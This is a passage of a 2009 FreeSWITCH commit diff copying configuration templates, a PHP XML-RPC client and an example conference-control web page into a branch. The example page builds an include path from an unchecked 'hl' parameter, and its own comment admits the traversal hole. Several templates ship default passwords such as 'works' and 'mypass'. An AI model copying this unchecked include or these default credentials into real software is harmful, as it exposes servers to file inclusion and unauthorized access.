+        <param name="date-fmt" value="%A, %B %d %Y, %I %M %p"/>
+        <param name="email-from" value="{literal}${voicemail_account}@${voicemail_domain}{/literal}"/>
+      </email>
+      <!--<param name="storage-dir" value="/tmp"/>-->
+      <!--<param name="odbc-dsn" value="dsn:user:pass"/>-->
+    </profile>
+  </profiles>
+</configuration> 

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/wanpipe.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/wanpipe.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/wanpipe.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/wanpipe.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/wanpipe.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="wanpipe.conf" description="Sangoma Wanpipe Endpoint">
+  <settings>
+    <param name="debug" value="0"/>
+    <param name="dialplan" value="XML"/>
+    <param name="ms-per-frame" value="20"/>
+    <param name="dtmf-on" value="800"/>
+    <param name="dtmf-off" value="100"/>
+    <param name="supress-dtmf-tone" value="yes"/>
+  </settings>
+  <ss7boost_handles>
+<!--
+    <handle>
+      <param name="local-ip" value="127.0.0.65"/>
+      <param name="local-port" value="53000"/>
+      <param name="remote-ip" value="127.0.0.66"/>
+      <param name="remote-port" value="53000"/>
+    </handle>
+-->
+  </ss7boost_handles>
+  <pri_spans>
+    <!-- may be any single digit or a range of digits separated by a '-' e.g "1-4" -->
+    <span id="1">
+      <param name="node" value="cpe"/>
+      <param name="switch" value="ni2"/>
+      <!--<param name="switch" value="dms100"/>-->
+      <!-- <param name="switch" value="lucent5e"/> -->
+      <!-- <param name="switch" value="att4ess"/> -->
+      <!-- <param name="switch" value="euroisdn"/> -->
+      <!-- <param name="switch" value="gr303eoc"/> -->
+      <!-- <param name="switch" value="gr303tmc"/> -->
+      <param name="dp" value="national"/>
+      <!-- <param name="dp" value="international"/> -->
+      <!-- <param name="dp" value="local"/> -->
+      <!-- <param name="dp" value="private"/> -->
+      <!-- <param name="dp" value="unknown"/> -->
+      <param name="l1" value="ulaw"/>
+      <!-- <param name="l1" value="alaw"/> -->
+      <param name="bchan" value="1-23"/>
+      <param name="dchan" value="24"/>
+      <param name="dialplan" value="XML"/>
+    </span>
+  </pri_spans>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/woomera.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/woomera.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/woomera.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/woomera.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/woomera.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="woomera.conf" description="Woomera Endpoint">
+  <settings>
+    <param name="debug" value="0"/>
+  </settings>
+  <interface>
+    <param name="host" value="localhost"/>
+    <param name="port" value="42420"/>
+    <param name="audio-ip" value="127.0.0.1"/>
+    <param name="dialplan" value="XML"/>
+  </interface>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_cdr.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_cdr.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/xml_cdr.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_cdr.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_cdr.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+<configuration name="xml_cdr.conf" description="XML CDR CURL logger">
+  <settings>
+    <!-- the url to post to if blank web posting is disabled  -->
+    <!-- <param name="url" value="http://localhost/cdr_curl/post.php"/> -->
+
+    <!-- optional: credentials to send to web server -->
+    <!--    <param name="cred" value="user:pass"/> -->
+
+    <!-- the total number of retries (not counting the first 'try') to post to webserver incase of failure -->
+    <!-- <param name="retries" value="2"/> -->
+
+    <!-- delay between retries in seconds, default is 5 seconds -->
+    <!-- <param name="delay" value="1"/> -->
+
+    <!-- optional: if not present we do not log every record to disk -->
+    <!-- either an absolute path, a relative path assuming ${prefix}/logs or a blank value will default to ${prefix}/logs/xml_cdr -->
+    <param name="log-dir" value=""/>
+    
+    <!-- encode the post data may be 'true' for url encoding, 'false' for no encoding or 'base64' for base64 encoding -->
+    <!--<param name="encode" value="true"/>-->
+    
+    <!-- optional: full path to the error log dir for failed web posts if not specified its the same as log-dir -->
+    <!-- either an absolute path, a relative path assuming ${prefix}/logs or a blank or omitted value will default to ${prefix}/logs/xml_cdr -->
+    <!-- <param name="err-log-dir" value="/tmp"/> -->
+
+    <!-- optional: if enabled this will disable CA root certificate checks by libcurl -->
+    <!-- note: default value is disabled. only enable if you want this! -->
+    <!-- <param name="ignore-cacert-check" value="true" /> -->
+
+  </settings>
+</configuration>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_curl.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_curl.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/xml_curl.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_curl.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_curl.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="xml_curl.conf" description="cURL XML Gateway">
+  <bindings>
+    <binding name="example">
+      <!-- The url to a gateway cgi that can generate xml similar to
+	   what's in this file only on-the-fly (leave it commented if you dont
+	   need it) -->
+      <!-- one or more |-delim of configuration|directory|dialplan -->
+      <param name="gateway-url" value="http://www.mydomain.com/test.cgi" bindings="dialplan"/>
+      <!-- set this to provide authentication credentials to the server -->
+      <!--<param name="gateway-credentials" value="muser:mypass"/>-->
+      <!-- set to true to disable Expect: 100-continue lighttpd requires this setting -->
+      <!--<param name="disable-100-continue" value="true"/>-->
+    </binding>
+  </bindings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_rpc.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_rpc.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/xml_rpc.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_rpc.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xml_rpc.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="xml_rpc.conf" description="XML RPC">
+  <settings>
+    <!-- The port where you want to run the http service (default 8080) -->
+    <param name="http-port" value="8080"/>
+    <!-- if all 3 of the following params exist all http traffic will require auth -->
+    <param name="auth-realm" value="freeswitch"/>
+    <param name="auth-user" value="freeswitch"/>
+    <param name="auth-pass" value="works"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xmpp_event.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xmpp_event.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/xmpp_event.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xmpp_event.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/xmpp_event.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="xmpp_event.conf" description="XMPP Event Handler">
+  <settings>
+    <param name="#debug" value="1"/>
+    <param name="jid" value="freeswitch@my.jabber.com/me"/>
+    <param name="passwd" value="mypass"/>
+    <param name="target-jid" value="freeswitch@reader.org/him"/>
+  </settings>
+</configuration>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/zeroconf.conf.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/zeroconf.conf.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/configuration/zeroconf.conf.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/zeroconf.conf.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/configuration/zeroconf.conf.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="configuration" description="Various Configuration">
+<configuration name="zeroconf.conf" description="Zeroconf Event Handler">
+  <settings>
+    <param name="publish" value="yes"/>
+    <param name="browse" value="_sip._udp"/>
+  </settings>
+</configuration>
+</section>
+</document>

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/dialplan)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/fail.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/fail.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/dialplan/fail.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/fail.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/fail.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="dialplan" description="Regex/XML Dialplan">
+    <context name="default">
+      <extension name="myextension">
+        <condition field="destination_number" expression=".*">
+          <action application="answer"/>
+          <action application="playback" data="/sounds/oops.wav"/>
+        </condition>
+      </extension>
+    </context>
+  </section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/frompstn.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/frompstn.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/dialplan/frompstn.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/frompstn.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/dialplan/frompstn.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="dialplan" description="Regex/XML Dialplan">
+    <context name="default">
+      <extension name="myextension">
+      <condition field="destination_number" expression="^.*$">
+{foreach key=k item=v from=$ACTION}
+          <action application="{$v[0]}" data="{$v[1]}"/>
+{/foreach}
+        </condition>
+      </extension>
+    </context>
+  </section>
+</document>

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/directory (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/directory)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/directory/192.168.153.128.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/directory/192.168.153.128.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/directory/192.168.153.128.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/directory/192.168.153.128.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/directory/192.168.153.128.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="directory" description="User Directory">
+    <domain name="{$DOMAIN}">
+	<user id="{$USER}">
+	  <params>
+	    <param name="password" value="{$PASSWORD}"/>
+	  </params>
+	</user>
+    </domain>
+
+  </section>
+</document>

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/phrases)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_en.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_en.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/phrases/lang_en.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_en.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_en.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="phrases" description="Speech Phrase Management">
+    <macros>
+      <language name="en" sound_path="/snds" tts_engine="cepstral" tts_voice="david">
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+    <macro name="msgcount">
+      <input pattern="(.*)">
+	<match>
+	  <action function="execute" data="sleep(1000)"/>
+	  <action function="play-file" data="vm-youhave.wav"/>
+	  <action function="say" data="$1" method="pronounced" type="items"/>
+	  <action function="play-file" data="vm-messages.wav"/>
+	  <!-- or -->
+	  <!--<action function="speak-text" data="you have $1 messages"/>-->
+	</match>
+      </input>
+    </macro>
+    <macro name="saydate">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="current_date_time"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="timespec">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="time_measurement"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="ip-addr">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="iterated" type="ip_address"/>
+	  <action function="say" data="$1" method="pronounced" type="ip_address"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="spell">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="spell-phonetic">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="name_phonetic"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="tts-timeleft">
+      <!-- The parser will visit each <input> tag and execute the actions in <match> or <nomatch> depending on the pattern param -->
+      <!-- If the function "break" is encountered all parsing will cease -->
+      <input pattern="(\d+):(\d+)">
+	<match>
+	  <action function="speak-text" data="You have $1 minutes, $2 seconds remaining $strftime(%Y-%m-%d)"/>
+	  <action function="break"/>
+	</match>
+	<nomatch>
+	  <action function="speak-text" data="That input was invalid."/>
+	</nomatch>
+      </input>
+      <input pattern="(\d+) min (\d+) sec">
+	<match>
+	  <action function="speak-text" data="You have $1 minutes, $2 seconds remaining $strftime(%Y-%m-%d)"/>
+	</match>
+	<nomatch>
+	  <action function="speak-text" data="That input was invalid."/>
+	</nomatch>
+      </input>
+    </macro>
+</include><!--This line will be ignored it's here to validate the xml and is optional -->
+</language>
+</macros>
+</section>
+</document>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_fr.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_fr.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/templates/switch1/phrases/lang_fr.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_fr.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/templates/switch1/phrases/lang_fr.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+  <section name="phrases" description="Speech Phrase Management">
+    <macros>
+      <language name="fr" sound_path="/var/sounds/lang/fr/jean" tts_engine="cepstral" tts_voice="jean-pierre">
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+<macro name="msgcount">
+  <input pattern="(.*)">
+    <match>
+      <action function="play-file" data="tuas.wav"/>
+      <action function="say" data="$1" method="pronounced" type="items"/>
+      <action function="play-file" data="messages.wav"/>
+    </match>
+  </input>
+</macro>
+<macro name="timeleft">
+  <input pattern="(\d+):(\d+)">
+    <match>
+      <action function="speak-text" data="il y a $1 minutes et de $2 secondes de restant"/>
+    </match>
+  </input>
+</macro>
+</include><!--This line will be ignored it's here to validate the xml and is optional -->
+</language>
+</macros>
+</section>
+</document>

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/README

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/README (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+You will need to get smarty from http://smarty.php.net to make this work

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/fsxmlrpc.inc

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/fsxmlrpc.inc (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/fsxmlrpc.inc) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/fsxmlrpc.inc	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/fsxmlrpc.inc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,217 @@
+<?php
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH(tm) PHP5 XMLRPC convienience library
+ *
+ * The Initial Developer of the Original Code is
+ * Bret McDanel <trixter AT 0xdecafbad.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Thanks to Ken Rice for showing me a simple xmlrpc example which enabled me to write this
+ *
+ * Contributor(s):
+ * 
+ *
+ * fsxmlrpc.inc
+ *
+ */
+
+include_once("xmlrpc.inc");
+
+class fsxmlrpc extends xmlrpc_client {
+  function sendRequest($msg='') {
+	if($msg == '') return false;
+
+        $resp=$this->send($msg);
+
+	if(!$resp) {
+		echo "Communication error: " . $this->client->errstr;
+	} else if (!$resp->faultCode()) {
+		return(explode("\n" , $resp->value()->scalarval()));
+	} else {
+                print "An error occurred: ";
+                print "Code: " . htmlspecialchars($resp->faultCode()) .
+                      " Reason: '" . htmlspecialchars($resp->faultString());
+        }
+
+	return false;
+  }
+
+
+  function getChannels() {
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("show", "string"),
+                            new xmlrpcval("channels", "string"))));
+
+	if(!$resp) return false;
+
+	$x=0;
+	foreach ($resp as $call) {
+	        $session = explode(",", $call);
+		if($session[0]!='uuid' && sizeof($session) >= 2) {
+			$calls[$x]['uuid']             = $session[0];
+			$calls[$x]['created']          = $session[1];
+			$calls[$x]['name']             = $session[2];
+			$calls[$x]['state']            = $session[3];
+			$calls[$x]['cid_name']         = $session[4];
+			$calls[$x]['cid_num']          = $session[5];
+			$calls[$x]['ip_addr']          = $session[6];
+			$calls[$x]['dest']             = $session[7];
+			$calls[$x]['application']      = $session[8];
+			$calls[$x]['application_data'] = $session[9];
+			$calls[$x]['read_codec']       = $session[10];
+			$calls[$x]['read_rate']        = $session[11];
+			$calls[$x]['write_codec']      = $session[12];
+			$calls[$x]['write_rate']       = $session[13];
+	                $x++;
+	        }
+	}
+	return($calls);
+
+  }
+
+  function getHelp() {
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("help", "string"),
+                            new xmlrpcval("", "string"))));
+
+	if(!$resp) return false;
+
+	$x=0;
+	foreach ($resp as $call) {
+	        $session = explode(",", $call);
+		if($session[0]!='uuid' && sizeof($session) >= 2) {
+			$calls[$x]['command']     = $session[0];
+			$calls[$x]['args']        = $session[1];
+			$calls[$x]['description'] = $session[2];
+	                $x++;
+	        }
+	}
+	return($calls);
+
+  }
+
+  function conferenceList() {
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("list", "string"))));
+
+	if(!$resp) return false;
+
+	for ($i=0,$j=0;$i< count($resp); $i++,$j++) {
+		preg_match("/Conference (.*) \((\d+) member.*\)/",$resp[$i],$matches);
+		if(isset($matches[1]) && $matches[1]!="") {
+			$conference[$j]['title']   = $resp[$i];
+			$conference[$j]['name']    = $matches[1];
+			$conference[$j]['members'] = $matches[2];
+
+			for ($x=0; $x<$conference[$j]['members']; $x++) {
+				$confmember = explode(";",$resp[$i+$x+1]);
+				$member[$x]['member_id']  = $confmember[0];
+				$member[$x]['channel_id'] = $confmember[1];
+				$member[$x]['uuid']       = $confmember[2];
+				$member[$x]['cid_name']   = $confmember[3];
+				$member[$x]['cid_num']    = $confmember[4];
+				$member[$x]['flags']      = $confmember[5];
+				$member[$x]['volume_in']  = $confmember[6];
+				$member[$x]['volume_out'] = $confmember[7];
+				$member[$x]['energy']     = $confmember[8];
+			}
+			$conference[$j]['sessions'] = $member;
+			$i+=$x;
+		}
+	}
+
+	if($i>0) return($conference);
+	return(false);
+
+  }
+
+  function conferenceKick($confname='',$memid='') {
+	if($confname=='' || $memid=='') return false;
+
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("$confname kick $memid", "string"))));
+
+	if(!$resp) return false;
+	for ($i=0;$i< count($resp); $i++) {
+	  if(strlen($resp[$i])>2 && $resp[$i]=="OK kicked $memid") return true;
+	}
+	return false;
+  }
+	
+  function conferenceMute($confname='',$memid='') {
+	if($confname=='' || $memid=='') return false;
+
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("$confname mute $memid", "string"))));
+
+	if(!$resp) return false;
+	for ($i=0;$i< count($resp); $i++) {
+	  if(strlen($resp[$i])>2 && $resp[$i]=="OK mute $memid") return true;
+	}
+	return false;
+  }
+	
+  function conferenceUnmute($confname='',$memid='') {
+	if($confname=='' || $memid=='') return false;
+
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("$confname unmute $memid", "string"))));
+
+	if(!$resp) return false;
+	for ($i=0;$i< count($resp); $i++) {
+	  if(strlen($resp[$i])>2 && $resp[$i]=="OK unmute $memid") return true;
+	}
+	return false;
+  }
+
+  function conferenceDeaf($confname='',$memid='') {
+	if($confname=='' || $memid=='') return false;
+
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("$confname deaf $memid", "string"))));
+
+	if(!$resp) return false;
+	for ($i=0;$i< count($resp); $i++) {
+	  if(strlen($resp[$i])>2 && $resp[$i]=="OK deaf $memid") return true;
+	}
+	return false;
+  }
+	
+  function conferenceUndeaf($confname='',$memid='') {
+	if($confname=='' || $memid=='') return false;
+
+	$resp = $this->sendRequest(new xmlrpcmsg('freeswitch.api',
+                            array(new xmlrpcval("conference", "string"),
+                            new xmlrpcval("$confname undeaf $memid", "string"))));
+
+	if(!$resp) return false;
+	for ($i=0;$i< count($resp); $i++) {
+	  if(strlen($resp[$i])>2 && $resp[$i]=="OK undeaf $memid") return true;
+	}
+	return false;
+  }
+	
+
+}
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/index.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/index.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/index.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/index.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/index.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+<?php //  -*- mode:c; tab-width:4; c-basic-offset:4; c-indent-level:4; indent-tabs-mode:nil;  -*-
+/*
+ * example for http://www.cluecon.com 2007 
+ *
+ * this program illustrates some of the XML-RPC functionality
+ * 
+ * because this is an example its not the best design.  For example, it would be better
+ * to have a cron job or something store this in a DB instead of hammering your FS box 
+ * each time you want to see what calls are in.  It would also make it easier to hangup,
+ * kick, etc the calls in progress.  DB usage is beyond the scope of this example however.
+ *
+ * I did try to get people thinking about some of the problems that might be encountered 
+ * in a 'real app' such as multilanguage support, seperation of html from content (so non-devs
+ * can more easily update the look and feel as well as just better design), support for
+ * multiple FS boxes, etc.
+ * 
+ * specifically the multilanguage approach used here is not good at all.  Smarty has some 
+ * multilanguage stuff that can be better than this, and there are a lot of other packages
+ * the idea was just to get people to think about it :)
+ */
+ini_set("include_path",".:/usr/local/lib/php:/usr/share/php:./Smarty-2.6.18/libs");
+include_once("fsxmlrpc.inc");
+include_once('Smarty.class.php');
+
+
+
+$hosts = array (
+                0 => array ( "hostname" => "switch1.my.tld",
+                             "port"     => 8080,
+                             "username" => "username",
+                             "password" => "password"
+                             ),
+                1 => array ( "hostname" => "switch2.my.tld",
+                             "port"     => 8080,
+                             "username" => "username",
+                             "password" => "password"
+                             ),
+                );
+
+
+
+$smarty    = new Smarty;
+$chanArray = Array();
+$confArray = Array();
+
+function connect($host)
+{
+    $client=new fsxmlrpc("/RPC2",$host['hostname'] , $host['port']);
+    $client->setCredentials($host['username'],$host['password'],NULL);
+    return $client;
+}
+
+
+function findGateway($host)
+{
+    global $hosts;
+    foreach ($hosts as $key => $value) {
+        if($hosts[$key]['hostname'] == $host) {
+            return $hosts[$key];
+        }
+    }
+    return false;
+}
+
+
+$language='default';
+if(isset($_GET['hl']) && $_GET['hl']!='') {
+    // security warning, I dont check for ../../ this is just an example afterall
+    if(file_exists($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/themes/" . $_GET['hl'] . "/index.tpl")) {
+        $language=$_GET['hl'];
+    }
+}
+
+include_once($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/themes/" . $language . "/errors.inc");
+
+
+if(isset($_POST['action']) && $_POST['action']!='') {
+	switch($_POST['action']) {
+    case "kick":
+        if(isset($_POST['memid']) && isset($_POST['conf'])) {
+            foreach($_POST['memid'] as $singleVar) {
+                $client=connect(findGateway($_POST['gateway']));
+                if($client->conferenceKick($_POST['conf'],$singleVar)) {
+                    $errors[]=$ERRMSG[KICK_SUCCESS] . "$_POST[conf]:$singleVar";
+                } else {
+                    $errors[]=$ERRMSG[KICK_FAIL] . "$_POST[conf]:$singleVar";
+                }
+            }
+        }
+        break;
+    case "mute":
+        if(isset($_POST['memid']) && isset($_POST['conf'])) {
+            foreach($_POST['memid'] as $singleVar) {
+                $client=connect(findGateway($_POST['gateway']));
+                if($client->conferenceMute($_POST['conf'],$singleVar)) {
+                    $errors[]=$ERRMSG[MUTE_SUCCESS] . "$_POST[conf]:$singleVar";
+                } else {
+                    $errors[]=$ERRMSG[MUTE_FAIL] . "$_POST[conf]:$singleVar";
+                }
+            }
+        }
+        break;
+    case "unmute":
+        if(isset($_POST['memid']) && isset($_POST['conf'])) {
+            foreach($_POST['memid'] as $singleVar) {
+                $client=connect(findGateway($_POST['gateway']));
+                if($client->conferenceUnmute($_POST['conf'],$singleVar)) {
+                    $errors[]=$ERRMSG[UNMUTE_SUCCESS] . "$_POST[conf]:$singleVar";
+                } else {
+                    $errors[]=$ERRMSG[UNMUTE_FAIL] . "$_POST[conf]:$singleVar";
+                }
+            }
+        }
+        break;
+    case "deaf":
